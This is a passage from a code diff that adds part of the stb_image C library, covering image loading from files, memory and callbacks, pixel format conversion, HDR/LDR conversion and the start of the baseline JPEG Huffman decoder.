+      ri.bits_per_channel = 16;
+   }
+
+   // @TODO: move stbi__convert_format16 to here
+   // @TODO: special case RGB-to-Y (and RGBA-to-YA) for 8-bit-to-16-bit case to keep more precision
+
+   if (stbi__vertically_flip_on_load) {
+      int channels = req_comp ? req_comp : *comp;
+      stbi__vertical_flip(result, *x, *y, channels * sizeof(stbi__uint16));
+   }
+
+   return (stbi__uint16 *) result;
+}
+
+#if !defined(STBI_NO_HDR) && !defined(STBI_NO_LINEAR)
+static void stbi__float_postprocess(float *result, int *x, int *y, int *comp, int req_comp)
+{
+   if (stbi__vertically_flip_on_load && result != NULL) {
+      int channels = req_comp ? req_comp : *comp;
+      stbi__vertical_flip(result, *x, *y, channels * sizeof(float));
+   }
+}
+#endif
+
+#ifndef STBI_NO_STDIO
+
+#if defined(_WIN32) && defined(STBI_WINDOWS_UTF8)
+STBI_EXTERN __declspec(dllimport) int __stdcall MultiByteToWideChar(unsigned int cp, unsigned long flags, const char *str, int cbmb, wchar_t *widestr, int cchwide);
+STBI_EXTERN __declspec(dllimport) int __stdcall WideCharToMultiByte(unsigned int cp, unsigned long flags, const wchar_t *widestr, int cchwide, char *str, int cbmb, const char *defchar, int *used_default);
+#endif
+
+#if defined(_WIN32) && defined(STBI_WINDOWS_UTF8)
+STBIDEF int stbi_convert_wchar_to_utf8(char *buffer, size_t bufferlen, const wchar_t* input)
+{
+	return WideCharToMultiByte(65001 /* UTF8 */, 0, input, -1, buffer, (int) bufferlen, NULL, NULL);
+}
+#endif
+
+static FILE *stbi__fopen(char const *filename, char const *mode)
+{
+   FILE *f;
+#if defined(_WIN32) && defined(STBI_WINDOWS_UTF8)
+   wchar_t wMode[64];
+   wchar_t wFilename[1024];
+	if (0 == MultiByteToWideChar(65001 /* UTF8 */, 0, filename, -1, wFilename, sizeof(wFilename)/sizeof(*wFilename)))
+      return 0;
+
+	if (0 == MultiByteToWideChar(65001 /* UTF8 */, 0, mode, -1, wMode, sizeof(wMode)/sizeof(*wMode)))
+      return 0;
+
+#if defined(_MSC_VER) && _MSC_VER >= 1400
+	if (0 != _wfopen_s(&f, wFilename, wMode))
+		f = 0;
+#else
+   f = _wfopen(wFilename, wMode);
+#endif
+
+#elif defined(_MSC_VER) && _MSC_VER >= 1400
+   if (0 != fopen_s(&f, filename, mode))
+      f=0;
+#else
+   f = fopen(filename, mode);
+#endif
+   return f;
+}
+
+
+STBIDEF stbi_uc *stbi_load(char const *filename, int *x, int *y, int *comp, int req_comp)
+{
+   FILE *f = stbi__fopen(filename, "rb");
+   unsigned char *result;
+   if (!f) return stbi__errpuc("can't fopen", "Unable to open file");
+   result = stbi_load_from_file(f,x,y,comp,req_comp);
+   fclose(f);
+   return result;
+}
+
+STBIDEF stbi_uc *stbi_load_from_file(FILE *f, int *x, int *y, int *comp, int req_comp)
+{
+   unsigned char *result;
+   stbi__context s;
+   stbi__start_file(&s,f);
+   result = stbi__load_and_postprocess_8bit(&s,x,y,comp,req_comp);
+   if (result) {
+      // need to 'unget' all the characters in the IO buffer
+      fseek(f, - (int) (s.img_buffer_end - s.img_buffer), SEEK_CUR);
+   }
+   return result;
+}
+
+STBIDEF stbi__uint16 *stbi_load_from_file_16(FILE *f, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__uint16 *result;
+   stbi__context s;
+   stbi__start_file(&s,f);
+   result = stbi__load_and_postprocess_16bit(&s,x,y,comp,req_comp);
+   if (result) {
+      // need to 'unget' all the characters in the IO buffer
+      fseek(f, - (int) (s.img_buffer_end - s.img_buffer), SEEK_CUR);
+   }
+   return result;
+}
+
+STBIDEF stbi_us *stbi_load_16(char const *filename, int *x, int *y, int *comp, int req_comp)
+{
+   FILE *f = stbi__fopen(filename, "rb");
+   stbi__uint16 *result;
+   if (!f) return (stbi_us *) stbi__errpuc("can't fopen", "Unable to open file");
+   result = stbi_load_from_file_16(f,x,y,comp,req_comp);
+   fclose(f);
+   return result;
+}
+
+
+#endif //!STBI_NO_STDIO
+
+STBIDEF stbi_us *stbi_load_16_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *channels_in_file, int desired_channels)
+{
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__load_and_postprocess_16bit(&s,x,y,channels_in_file,desired_channels);
+}
+
+STBIDEF stbi_us *stbi_load_16_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *channels_in_file, int desired_channels)
+{
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *)clbk, user);
+   return stbi__load_and_postprocess_16bit(&s,x,y,channels_in_file,desired_channels);
+}
+
+STBIDEF stbi_uc *stbi_load_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__load_and_postprocess_8bit(&s,x,y,comp,req_comp);
+}
+
+STBIDEF stbi_uc *stbi_load_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *) clbk, user);
+   return stbi__load_and_postprocess_8bit(&s,x,y,comp,req_comp);
+}
+
+#ifndef STBI_NO_GIF
+STBIDEF stbi_uc *stbi_load_gif_from_memory(stbi_uc const *buffer, int len, int **delays, int *x, int *y, int *z, int *comp, int req_comp)
+{
+   unsigned char *result;
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+
+   result = (unsigned char*) stbi__load_gif_main(&s, delays, x, y, z, comp, req_comp);
+   if (stbi__vertically_flip_on_load) {
+      stbi__vertical_flip_slices( result, *x, *y, *z, *comp );
+   }
+
+   return result;
+}
+#endif
+
+#ifndef STBI_NO_LINEAR
+static float *stbi__loadf_main(stbi__context *s, int *x, int *y, int *comp, int req_comp)
+{
+   unsigned char *data;
+   #ifndef STBI_NO_HDR
+   if (stbi__hdr_test(s)) {
+      stbi__result_info ri;
+      float *hdr_data = stbi__hdr_load(s,x,y,comp,req_comp, &ri);
+      if (hdr_data)
+         stbi__float_postprocess(hdr_data,x,y,comp,req_comp);
+      return hdr_data;
+   }
+   #endif
+   data = stbi__load_and_postprocess_8bit(s, x, y, comp, req_comp);
+   if (data)
+      return stbi__ldr_to_hdr(data, *x, *y, req_comp ? req_comp : *comp);
+   return stbi__errpf("unknown image type", "Image not of any known type, or corrupt");
+}
+
+STBIDEF float *stbi_loadf_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__loadf_main(&s,x,y,comp,req_comp);
+}
+
+STBIDEF float *stbi_loadf_from_callbacks(stbi_io_callbacks const *clbk, void *user, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *) clbk, user);
+   return stbi__loadf_main(&s,x,y,comp,req_comp);
+}
+
+#ifndef STBI_NO_STDIO
+STBIDEF float *stbi_loadf(char const *filename, int *x, int *y, int *comp, int req_comp)
+{
+   float *result;
+   FILE *f = stbi__fopen(filename, "rb");
+   if (!f) return stbi__errpf("can't fopen", "Unable to open file");
+   result = stbi_loadf_from_file(f,x,y,comp,req_comp);
+   fclose(f);
+   return result;
+}
+
+STBIDEF float *stbi_loadf_from_file(FILE *f, int *x, int *y, int *comp, int req_comp)
+{
+   stbi__context s;
+   stbi__start_file(&s,f);
+   return stbi__loadf_main(&s,x,y,comp,req_comp);
+}
+#endif // !STBI_NO_STDIO
+
+#endif // !STBI_NO_LINEAR
+
+// these is-hdr-or-not is defined independent of whether STBI_NO_LINEAR is
+// defined, for API simplicity; if STBI_NO_LINEAR is defined, it always
+// reports false!
+
+STBIDEF int stbi_is_hdr_from_memory(stbi_uc const *buffer, int len)
+{
+   #ifndef STBI_NO_HDR
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__hdr_test(&s);
+   #else
+   STBI_NOTUSED(buffer);
+   STBI_NOTUSED(len);
+   return 0;
+   #endif
+}
+
+#ifndef STBI_NO_STDIO
+STBIDEF int      stbi_is_hdr          (char const *filename)
+{
+   FILE *f = stbi__fopen(filename, "rb");
+   int result=0;
+   if (f) {
+      result = stbi_is_hdr_from_file(f);
+      fclose(f);
+   }
+   return result;
+}
+
+STBIDEF int stbi_is_hdr_from_file(FILE *f)
+{
+   #ifndef STBI_NO_HDR
+   long pos = ftell(f);
+   int res;
+   stbi__context s;
+   stbi__start_file(&s,f);
+   res = stbi__hdr_test(&s);
+   fseek(f, pos, SEEK_SET);
+   return res;
+   #else
+   STBI_NOTUSED(f);
+   return 0;
+   #endif
+}
+#endif // !STBI_NO_STDIO
+
+STBIDEF int      stbi_is_hdr_from_callbacks(stbi_io_callbacks const *clbk, void *user)
+{
+   #ifndef STBI_NO_HDR
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *) clbk, user);
+   return stbi__hdr_test(&s);
+   #else
+   STBI_NOTUSED(clbk);
+   STBI_NOTUSED(user);
+   return 0;
+   #endif
+}
+
+#ifndef STBI_NO_LINEAR
+static float stbi__l2h_gamma=2.2f, stbi__l2h_scale=1.0f;
+
+STBIDEF void   stbi_ldr_to_hdr_gamma(float gamma) { stbi__l2h_gamma = gamma; }
+STBIDEF void   stbi_ldr_to_hdr_scale(float scale) { stbi__l2h_scale = scale; }
+#endif
+
+static float stbi__h2l_gamma_i=1.0f/2.2f, stbi__h2l_scale_i=1.0f;
+
+STBIDEF void   stbi_hdr_to_ldr_gamma(float gamma) { stbi__h2l_gamma_i = 1/gamma; }
+STBIDEF void   stbi_hdr_to_ldr_scale(float scale) { stbi__h2l_scale_i = 1/scale; }
+
+
+//////////////////////////////////////////////////////////////////////////////
+//
+// Common code used by all image loaders
+//
+
+enum
+{
+   STBI__SCAN_load=0,
+   STBI__SCAN_type,
+   STBI__SCAN_header
+};
+
+static void stbi__refill_buffer(stbi__context *s)
+{
+   int n = (s->io.read)(s->io_user_data,(char*)s->buffer_start,s->buflen);
+   s->callback_already_read += (int) (s->img_buffer - s->img_buffer_original);
+   if (n == 0) {
+      // at end of file, treat same as if from memory, but need to handle case
+      // where s->img_buffer isn't pointing to safe memory, e.g. 0-byte file
+      s->read_from_callbacks = 0;
+      s->img_buffer = s->buffer_start;
+      s->img_buffer_end = s->buffer_start+1;
+      *s->img_buffer = 0;
+   } else {
+      s->img_buffer = s->buffer_start;
+      s->img_buffer_end = s->buffer_start + n;
+   }
+}
+
+stbi_inline static stbi_uc stbi__get8(stbi__context *s)
+{
+   if (s->img_buffer < s->img_buffer_end)
+      return *s->img_buffer++;
+   if (s->read_from_callbacks) {
+      stbi__refill_buffer(s);
+      return *s->img_buffer++;
+   }
+   return 0;
+}
+
+#if defined(STBI_NO_JPEG) && defined(STBI_NO_HDR) && defined(STBI_NO_PIC) && defined(STBI_NO_PNM)
+// nothing
+#else
+stbi_inline static int stbi__at_eof(stbi__context *s)
+{
+   if (s->io.read) {
+      if (!(s->io.eof)(s->io_user_data)) return 0;
+      // if feof() is true, check if buffer = end
+      // special case: we've only got the special 0 character at the end
+      if (s->read_from_callbacks == 0) return 1;
+   }
+
+   return s->img_buffer >= s->img_buffer_end;
+}
+#endif
+
+#if defined(STBI_NO_JPEG) && defined(STBI_NO_PNG) && defined(STBI_NO_BMP) && defined(STBI_NO_PSD) && defined(STBI_NO_TGA) && defined(STBI_NO_GIF) && defined(STBI_NO_PIC)
+// nothing
+#else
+static void stbi__skip(stbi__context *s, int n)
+{
+   if (n == 0) return;  // already there!
+   if (n < 0) {
+      s->img_buffer = s->img_buffer_end;
+      return;
+   }
+   if (s->io.read) {
+      int blen = (int) (s->img_buffer_end - s->img_buffer);
+      if (blen < n) {
+         s->img_buffer = s->img_buffer_end;
+         (s->io.skip)(s->io_user_data, n - blen);
+         return;
+      }
+   }
+   s->img_buffer += n;
+}
+#endif
+
+#if defined(STBI_NO_PNG) && defined(STBI_NO_TGA) && defined(STBI_NO_HDR) && defined(STBI_NO_PNM)
+// nothing
+#else
+static int stbi__getn(stbi__context *s, stbi_uc *buffer, int n)
+{
+   if (s->io.read) {
+      int blen = (int) (s->img_buffer_end - s->img_buffer);
+      if (blen < n) {
+         int res, count;
+
+         memcpy(buffer, s->img_buffer, blen);
+
+         count = (s->io.read)(s->io_user_data, (char*) buffer + blen, n - blen);
+         res = (count == (n-blen));
+         s->img_buffer = s->img_buffer_end;
+         return res;
+      }
+   }
+
+   if (s->img_buffer+n <= s->img_buffer_end) {
+      memcpy(buffer, s->img_buffer, n);
+      s->img_buffer += n;
+      return 1;
+   } else
+      return 0;
+}
+#endif
+
+#if defined(STBI_NO_JPEG) && defined(STBI_NO_PNG) && defined(STBI_NO_PSD) && defined(STBI_NO_PIC)
+// nothing
+#else
+static int stbi__get16be(stbi__context *s)
+{
+   int z = stbi__get8(s);
+   return (z << 8) + stbi__get8(s);
+}
+#endif
+
+#if defined(STBI_NO_PNG) && defined(STBI_NO_PSD) && defined(STBI_NO_PIC)
+// nothing
+#else
+static stbi__uint32 stbi__get32be(stbi__context *s)
+{
+   stbi__uint32 z = stbi__get16be(s);
+   return (z << 16) + stbi__get16be(s);
+}
+#endif
+
+#if defined(STBI_NO_BMP) && defined(STBI_NO_TGA) && defined(STBI_NO_GIF)
+// nothing
+#else
+static int stbi__get16le(stbi__context *s)
+{
+   int z = stbi__get8(s);
+   return z + (stbi__get8(s) << 8);
+}
+#endif
+
+#ifndef STBI_NO_BMP
+static stbi__uint32 stbi__get32le(stbi__context *s)
+{
+   stbi__uint32 z = stbi__get16le(s);
+   z += (stbi__uint32)stbi__get16le(s) << 16;
+   return z;
+}
+#endif
+
+#define STBI__BYTECAST(x)  ((stbi_uc) ((x) & 255))  // truncate int to byte without warnings
+
+#if defined(STBI_NO_JPEG) && defined(STBI_NO_PNG) && defined(STBI_NO_BMP) && defined(STBI_NO_PSD) && defined(STBI_NO_TGA) && defined(STBI_NO_GIF) && defined(STBI_NO_PIC) && defined(STBI_NO_PNM)
+// nothing
+#else
+//////////////////////////////////////////////////////////////////////////////
+//
+//  generic converter from built-in img_n to req_comp
+//    individual types do this automatically as much as possible (e.g. jpeg
+//    does all cases internally since it needs to colorspace convert anyway,
+//    and it never has alpha, so very few cases ). png can automatically
+//    interleave an alpha=255 channel, but falls back to this for other cases
+//
+//  assume data buffer is malloced, so malloc a new one and free that one
+//  only failure mode is malloc failing
+
+static stbi_uc stbi__compute_y(int r, int g, int b)
+{
+   return (stbi_uc) (((r*77) + (g*150) +  (29*b)) >> 8);
+}
+#endif
+
+#if defined(STBI_NO_PNG) && defined(STBI_NO_BMP) && defined(STBI_NO_PSD) && defined(STBI_NO_TGA) && defined(STBI_NO_GIF) && defined(STBI_NO_PIC) && defined(STBI_NO_PNM)
+// nothing
+#else
+static unsigned char *stbi__convert_format(unsigned char *data, int img_n, int req_comp, unsigned int x, unsigned int y)
+{
+   int i,j;
+   unsigned char *good;
+
+   if (req_comp == img_n) return data;
+   STBI_ASSERT(req_comp >= 1 && req_comp <= 4);
+
+   good = (unsigned char *) stbi__malloc_mad3(req_comp, x, y, 0);
+   if (good == NULL) {
+      STBI_FREE(data);
+      return stbi__errpuc("outofmem", "Out of memory");
+   }
+
+   for (j=0; j < (int) y; ++j) {
+      unsigned char *src  = data + j * x * img_n   ;
+      unsigned char *dest = good + j * x * req_comp;
+
+      #define STBI__COMBO(a,b)  ((a)*8+(b))
+      #define STBI__CASE(a,b)   case STBI__COMBO(a,b): for(i=x-1; i >= 0; --i, src += a, dest += b)
+      // convert source image with img_n components to one with req_comp components;
+      // avoid switch per pixel, so use switch per scanline and massive macros
+      switch (STBI__COMBO(img_n, req_comp)) {
+         STBI__CASE(1,2) { dest[0]=src[0]; dest[1]=255;                                     } break;
+         STBI__CASE(1,3) { dest[0]=dest[1]=dest[2]=src[0];                                  } break;
+         STBI__CASE(1,4) { dest[0]=dest[1]=dest[2]=src[0]; dest[3]=255;                     } break;
+         STBI__CASE(2,1) { dest[0]=src[0];                                                  } break;
+         STBI__CASE(2,3) { dest[0]=dest[1]=dest[2]=src[0];                                  } break;
+         STBI__CASE(2,4) { dest[0]=dest[1]=dest[2]=src[0]; dest[3]=src[1];                  } break;
+         STBI__CASE(3,4) { dest[0]=src[0];dest[1]=src[1];dest[2]=src[2];dest[3]=255;        } break;
+         STBI__CASE(3,1) { dest[0]=stbi__compute_y(src[0],src[1],src[2]);                   } break;
+         STBI__CASE(3,2) { dest[0]=stbi__compute_y(src[0],src[1],src[2]); dest[1] = 255;    } break;
+         STBI__CASE(4,1) { dest[0]=stbi__compute_y(src[0],src[1],src[2]);                   } break;
+         STBI__CASE(4,2) { dest[0]=stbi__compute_y(src[0],src[1],src[2]); dest[1] = src[3]; } break;
+         STBI__CASE(4,3) { dest[0]=src[0];dest[1]=src[1];dest[2]=src[2];                    } break;
+         default: STBI_ASSERT(0); STBI_FREE(data); STBI_FREE(good); return stbi__errpuc("unsupported", "Unsupported format conversion");
+      }
+      #undef STBI__CASE
+   }
+
+   STBI_FREE(data);
+   return good;
+}
+#endif
+
+#if defined(STBI_NO_PNG) && defined(STBI_NO_PSD)
+// nothing
+#else
+static stbi__uint16 stbi__compute_y_16(int r, int g, int b)
+{
+   return (stbi__uint16) (((r*77) + (g*150) +  (29*b)) >> 8);
+}
+#endif
+
+#if defined(STBI_NO_PNG) && defined(STBI_NO_PSD)
+// nothing
+#else
+static stbi__uint16 *stbi__convert_format16(stbi__uint16 *data, int img_n, int req_comp, unsigned int x, unsigned int y)
+{
+   int i,j;
+   stbi__uint16 *good;
+
+   if (req_comp == img_n) return data;
+   STBI_ASSERT(req_comp >= 1 && req_comp <= 4);
+
+   good = (stbi__uint16 *) stbi__malloc(req_comp * x * y * 2);
+   if (good == NULL) {
+      STBI_FREE(data);
+      return (stbi__uint16 *) stbi__errpuc("outofmem", "Out of memory");
+   }
+
+   for (j=0; j < (int) y; ++j) {
+      stbi__uint16 *src  = data + j * x * img_n   ;
+      stbi__uint16 *dest = good + j * x * req_comp;
+
+      #define STBI__COMBO(a,b)  ((a)*8+(b))
+      #define STBI__CASE(a,b)   case STBI__COMBO(a,b): for(i=x-1; i >= 0; --i, src += a, dest += b)
+      // convert source image with img_n components to one with req_comp components;
+      // avoid switch per pixel, so use switch per scanline and massive macros
+      switch (STBI__COMBO(img_n, req_comp)) {
+         STBI__CASE(1,2) { dest[0]=src[0]; dest[1]=0xffff;                                     } break;
+         STBI__CASE(1,3) { dest[0]=dest[1]=dest[2]=src[0];                                     } break;
+         STBI__CASE(1,4) { dest[0]=dest[1]=dest[2]=src[0]; dest[3]=0xffff;                     } break;
+         STBI__CASE(2,1) { dest[0]=src[0];                                                     } break;
+         STBI__CASE(2,3) { dest[0]=dest[1]=dest[2]=src[0];                                     } break;
+         STBI__CASE(2,4) { dest[0]=dest[1]=dest[2]=src[0]; dest[3]=src[1];                     } break;
+         STBI__CASE(3,4) { dest[0]=src[0];dest[1]=src[1];dest[2]=src[2];dest[3]=0xffff;        } break;
+         STBI__CASE(3,1) { dest[0]=stbi__compute_y_16(src[0],src[1],src[2]);                   } break;
+         STBI__CASE(3,2) { dest[0]=stbi__compute_y_16(src[0],src[1],src[2]); dest[1] = 0xffff; } break;
+         STBI__CASE(4,1) { dest[0]=stbi__compute_y_16(src[0],src[1],src[2]);                   } break;
+         STBI__CASE(4,2) { dest[0]=stbi__compute_y_16(src[0],src[1],src[2]); dest[1] = src[3]; } break;
+         STBI__CASE(4,3) { dest[0]=src[0];dest[1]=src[1];dest[2]=src[2];                       } break;
+         default: STBI_ASSERT(0); STBI_FREE(data); STBI_FREE(good); return (stbi__uint16*) stbi__errpuc("unsupported", "Unsupported format conversion");
+      }
+      #undef STBI__CASE
+   }
+
+   STBI_FREE(data);
+   return good;
+}
+#endif
+
+#ifndef STBI_NO_LINEAR
+static float   *stbi__ldr_to_hdr(stbi_uc *data, int x, int y, int comp)
+{
+   int i,k,n;
+   float *output;
+   if (!data) return NULL;
+   output = (float *) stbi__malloc_mad4(x, y, comp, sizeof(float), 0);
+   if (output == NULL) { STBI_FREE(data); return stbi__errpf("outofmem", "Out of memory"); }
+   // compute number of non-alpha components
+   if (comp & 1) n = comp; else n = comp-1;
+   for (i=0; i < x*y; ++i) {
+      for (k=0; k < n; ++k) {
+         output[i*comp + k] = (float) (pow(data[i*comp+k]/255.0f, stbi__l2h_gamma) * stbi__l2h_scale);
+      }
+   }
+   if (n < comp) {
+      for (i=0; i < x*y; ++i) {
+         output[i*comp + n] = data[i*comp + n]/255.0f;
+      }
+   }
+   STBI_FREE(data);
+   return output;
+}
+#endif
+
+#ifndef STBI_NO_HDR
+#define stbi__float2int(x)   ((int) (x))
+static stbi_uc *stbi__hdr_to_ldr(float   *data, int x, int y, int comp)
+{
+   int i,k,n;
+   stbi_uc *output;
+   if (!data) return NULL;
+   output = (stbi_uc *) stbi__malloc_mad3(x, y, comp, 0);
+   if (output == NULL) { STBI_FREE(data); return stbi__errpuc("outofmem", "Out of memory"); }
+   // compute number of non-alpha components
+   if (comp & 1) n = comp; else n = comp-1;
+   for (i=0; i < x*y; ++i) {
+      for (k=0; k < n; ++k) {
+         float z = (float) pow(data[i*comp+k]*stbi__h2l_scale_i, stbi__h2l_gamma_i) * 255 + 0.5f;
+         if (z < 0) z = 0;
+         if (z > 255) z = 255;
+         output[i*comp + k] = (stbi_uc) stbi__float2int(z);
+      }
+      if (k < comp) {
+         float z = data[i*comp+k] * 255 + 0.5f;
+         if (z < 0) z = 0;
+         if (z > 255) z = 255;
+         output[i*comp + k] = (stbi_uc) stbi__float2int(z);
+      }
+   }
+   STBI_FREE(data);
+   return output;
+}
+#endif
+
+//////////////////////////////////////////////////////////////////////////////
+//
+//  "baseline" JPEG/JFIF decoder
+//
+//    simple implementation
+//      - doesn't support delayed output of y-dimension
+//      - simple interface (only one output format: 8-bit interleaved RGB)
+//      - doesn't try to recover corrupt jpegs
+//      - doesn't allow partial loading, loading multiple at once
+//      - still fast on x86 (copying globals into locals doesn't help x86)
+//      - allocates lots of intermediate memory (full size of all components)
+//        - non-interleaved case requires this anyway
+//        - allows good upsampling (see next)
+//    high-quality
+//      - upsampled channels are bilinearly interpolated, even across blocks
+//      - quality integer IDCT derived from IJG's 'slow'
+//    performance
+//      - fast huffman; reasonable integer IDCT
+//      - some SIMD kernels for common paths on targets with SSE2/NEON
+//      - uses a lot of intermediate memory, could cache poorly
+
+#ifndef STBI_NO_JPEG
+
+// huffman decoding acceleration
+#define FAST_BITS   9  // larger handles more cases; smaller stomps less cache
+
+typedef struct
+{
+   stbi_uc  fast[1 << FAST_BITS];
+   // weirdly, repacking this into AoS is a 10% speed loss, instead of a win
+   stbi__uint16 code[256];
+   stbi_uc  values[256];
+   stbi_uc  size[257];
+   unsigned int maxcode[18];
+   int    delta[17];   // old 'firstsymbol' - old 'firstcode'
+} stbi__huffman;
+
+typedef struct
+{
+   stbi__context *s;
+   stbi__huffman huff_dc[4];
+   stbi__huffman huff_ac[4];
+   stbi__uint16 dequant[4][64];
+   stbi__int16 fast_ac[4][1 << FAST_BITS];
+
+// sizes for components, interleaved MCUs
+   int img_h_max, img_v_max;
+   int img_mcu_x, img_mcu_y;
+   int img_mcu_w, img_mcu_h;
+
+// definition of jpeg image component
+   struct
+   {
+      int id;
+      int h,v;
+      int tq;
+      int hd,ha;
+      int dc_pred;
+
+      int x,y,w2,h2;
+      stbi_uc *data;
+      void *raw_data, *raw_coeff;
+      stbi_uc *linebuf;
+      short   *coeff;   // progressive only
+      int      coeff_w, coeff_h; // number of 8x8 coefficient blocks
+   } img_comp[4];
+
+   stbi__uint32   code_buffer; // jpeg entropy-coded buffer
+   int            code_bits;   // number of valid bits
+   unsigned char  marker;      // marker seen while filling entropy buffer
+   int            nomore;      // flag if we saw a marker so must stop
+
+   int            progressive;
+   int            spec_start;
+   int            spec_end;
+   int            succ_high;
+   int            succ_low;
+   int            eob_run;
+   int            jfif;
+   int            app14_color_transform; // Adobe APP14 tag
+   int            rgb;
+
+   int scan_n, order[4];
+   int restart_interval, todo;
+
+// kernels
+   void (*idct_block_kernel)(stbi_uc *out, int out_stride, short data[64]);
+   void (*YCbCr_to_RGB_kernel)(stbi_uc *out, const stbi_uc *y, const stbi_uc *pcb, const stbi_uc *pcr, int count, int step);
+   stbi_uc *(*resample_row_hv_2_kernel)(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs);
+} stbi__jpeg;
+
+static int stbi__build_huffman(stbi__huffman *h, int *count)
+{
+   int i,j,k=0;
+   unsigned int code;
+   // build size list for each symbol (from JPEG spec)
+   for (i=0; i < 16; ++i) {
+      for (j=0; j < count[i]; ++j) {
+         h->size[k++] = (stbi_uc) (i+1);
+         if(k >= 257) return stbi__err("bad size list","Corrupt JPEG");
+      }
+   }
+   h->size[k] = 0;
+
+   // compute actual symbols (from jpeg spec)
+   code = 0;
+   k = 0;
+   for(j=1; j <= 16; ++j) {
+      // compute delta to add to code to compute symbol id
+      h->delta[j] = k - code;
+      if (h->size[k] == j) {
+         while (h->size[k] == j)
+            h->code[k++] = (stbi__uint16) (code++);
+         if (code-1 >= (1u << j)) return stbi__err("bad code lengths","Corrupt JPEG");
+      }
+      // compute largest code + 1 for this size, preshifted as needed later
+      h->maxcode[j] = code << (16-j);
+      code <<= 1;
+   }
+   h->maxcode[j] = 0xffffffff;
+
+   // build non-spec acceleration table; 255 is flag for not-accelerated
+   memset(h->fast, 255, 1 << FAST_BITS);
+   for (i=0; i < k; ++i) {
+      int s = h->size[i];
+      if (s <= FAST_BITS) {
+         int c = h->code[i] << (FAST_BITS-s);
+         int m = 1 << (FAST_BITS-s);
+         for (j=0; j < m; ++j) {
+            h->fast[c+j] = (stbi_uc) i;
+         }
+      }
+   }
+   return 1;
+}
+
+// build a table that decodes both magnitude and value of small ACs in
+// one go.
+static void stbi__build_fast_ac(stbi__int16 *fast_ac, stbi__huffman *h)
+{
+   int i;
+   for (i=0; i < (1 << FAST_BITS); ++i) {
+      stbi_uc fast = h->fast[i];
+      fast_ac[i] = 0;
+      if (fast < 255) {
+         int rs = h->values[fast];
+         int run = (rs >> 4) & 15;
+         int magbits = rs & 15;
+         int len = h->size[fast];
+
+         if (magbits && len + magbits <= FAST_BITS) {
+            // magnitude code followed by receive_extend code
+            int k = ((i << len) & ((1 << FAST_BITS) - 1)) >> (FAST_BITS - magbits);
+            int m = 1 << (magbits - 1);
+            if (k < m) k += (~0U << magbits) + 1;
+            // if the result is small enough, we can fit it in fast_ac table
+            if (k >= -128 && k <= 127)
+               fast_ac[i] = (stbi__int16) ((k * 256) + (run * 16) + (len + magbits));
+         }
+      }
+   }
+}
+
+static void stbi__grow_buffer_unsafe(stbi__jpeg *j)
+{
+   do {
+      unsigned int b = j->nomore ? 0 : stbi__get8(j->s);
+      if (b == 0xff) {
+         int c = stbi__get8(j->s);
+         while (c == 0xff) c = stbi__get8(j->s); // consume fill bytes
+         if (c != 0) {
+            j->marker = (unsigned char) c;
+            j->nomore = 1;
+            return;
+         }
+      }
+      j->code_buffer |= b << (24 - j->code_bits);
+      j->code_bits += 8;
+   } while (j->code_bits <= 24);
+}
+
+// (1 << n) - 1
+static const stbi__uint32 stbi__bmask[17]={0,1,3,7,15,31,63,127,255,511,1023,2047,4095,8191,16383,32767,65535};
+
+// decode a jpeg huffman value from the bitstream
+stbi_inline static int stbi__jpeg_huff_decode(stbi__jpeg *j, stbi__huffman *h)
+{
+   unsigned int temp;
+   int c,k;
+
+   if (j->code_bits < 16) stbi__grow_buffer_unsafe(j);
+
+   // look at the top FAST_BITS and determine what symbol ID it is,
+   // if the code is <= FAST_BITS
+   c = (j->code_buffer >> (32 - FAST_BITS)) & ((1 << FAST_BITS)-1);
+   k = h->fast[c];
+   if (k < 255) {
+      int s = h->size[k];
+      if (s > j->code_bits)
+         return -1;
+      j->code_buffer <<= s;
+      j->code_bits -= s;
+      return h->values[k];
+   }
+
+   // naive test is to shift the code_buffer down so k bits are
+   // valid, then test against maxcode. To speed this up, we've
+   // preshifted maxcode left so that it has (16-k) 0s at the
+   // end; in other words, regardless of the number of bits, it
+   // wants to be compared against something shifted to have 16;
+   // that way we don't need to shift inside the loop.
+   temp = j->code_buffer >> 16;
+   for (k=FAST_BITS+1 ; ; ++k)
+      if (temp < h->maxcode[k])
+         break;
+   if (k == 17) {
+      // error! code not found
+      j->code_bits -= 16;
+      return -1;
+   }
+
+   if (k > j->code_bits)
+      return -1;
+
+   // convert the huffman code to the symbol id
+   c = ((j->code_buffer >> (32 - k)) & stbi__bmask[k]) + h->delta[k];
+   if(c < 0 || c >= 256) // symbol id out of bounds!
+       return -1;
+   STBI_ASSERT((((j->code_buffer) >> (32 - h->size[c])) & stbi__bmask[h->size[c]]) == h->code[c]);
+
+   // convert the id to a symbol
+   j->code_bits -= k;
+   j->code_buffer <<= k;
+   return h->values[c];
+}
+
+// bias[n] = (-1<<n) + 1
+static const int stbi__jbias[16] = {0,-1,-3,-7,-15,-31,-63,-127,-255,-511,-1023,-2047,-4095,-8191,-16383,-32767};
+
+// combined JPEG 'receive' and JPEG 'extend', since baseline
+// always extends everything it receives.
+stbi_inline static int stbi__extend_receive(stbi__jpeg *j, int n)
+{
+   unsigned int k;
+   int sgn;
+   if (j->code_bits < n) stbi__grow_buffer_unsafe(j);
+   if (j->code_bits < n) return 0; // ran out of bits from stream, return 0s intead of continuing
+
+   sgn = j->code_buffer >> 31; // sign bit always in MSB; 0 if MSB clear (positive), 1 if MSB set (negative)
+   k = stbi_lrot(j->code_buffer, n);
+   j->code_buffer = k & ~stbi__bmask[n];
+   k &= stbi__bmask[n];
+   j->code_bits -= n;
